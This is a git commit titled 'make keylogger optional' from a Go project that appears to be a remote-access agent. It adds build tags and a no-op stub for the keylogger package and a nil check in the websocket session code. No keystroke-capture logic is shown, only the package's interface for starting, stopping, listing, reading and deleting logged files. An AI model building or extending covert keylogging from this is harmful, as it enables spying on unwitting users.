make keylogger optional
This commit is contained in:
@@ -1,3 +1,6 @@
|
||||
//go:build !nokeylogger
|
||||
// +build !nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
import (
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
// go:build darwin
|
||||
//go:build darwin
|
||||
// +build darwin
|
||||
//go:build darwin && !nokeylogger
|
||||
// +build darwin,!nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
//go:build !windows && !linux && !darwin
|
||||
//go:build !windows && !linux && !darwin && !nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
//go:build nokeylogger
|
||||
// +build nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
import "time"
|
||||
|
||||
type Keylogger struct{}
|
||||
|
||||
type FileInfo struct {
|
||||
Name string
|
||||
Size int64
|
||||
Date time.Time
|
||||
}
|
||||
|
||||
func New() *Keylogger { return nil }
|
||||
|
||||
func (k *Keylogger) Start() error { return nil }
|
||||
func (k *Keylogger) Stop() {}
|
||||
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
|
||||
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
|
||||
func (k *Keylogger) ClearAll() error { return nil }
|
||||
func (k *Keylogger) DeleteFile(string) error { return nil }
|
||||
func (k *Keylogger) FlushNow() {}
|
||||
@@ -1,6 +1,5 @@
|
||||
// go:build linux
|
||||
//go:build linux
|
||||
// +build linux
|
||||
//go:build linux && !nokeylogger
|
||||
// +build linux,!nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
// go:build windows
|
||||
//go:build windows
|
||||
// +build windows
|
||||
//go:build windows && !nokeylogger
|
||||
// +build windows,!nokeylogger
|
||||
|
||||
package keylogger
|
||||
|
||||
|
||||
@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
defer env.Plugins.Close()
|
||||
|
||||
env.Keylogger = keylogger.New()
|
||||
if err := env.Keylogger.Start(); err != nil {
|
||||
log.Printf("[keylogger] Failed to start: %v", err)
|
||||
} else {
|
||||
defer env.Keylogger.Stop()
|
||||
if env.Keylogger != nil {
|
||||
if err := env.Keylogger.Start(); err != nil {
|
||||
log.Printf("[keylogger] Failed to start: %v", err)
|
||||
} else {
|
||||
defer env.Keylogger.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
dispatcher := handlers.NewDispatcher(env)
|
||||
|
||||
Reference in New Issue
Block a user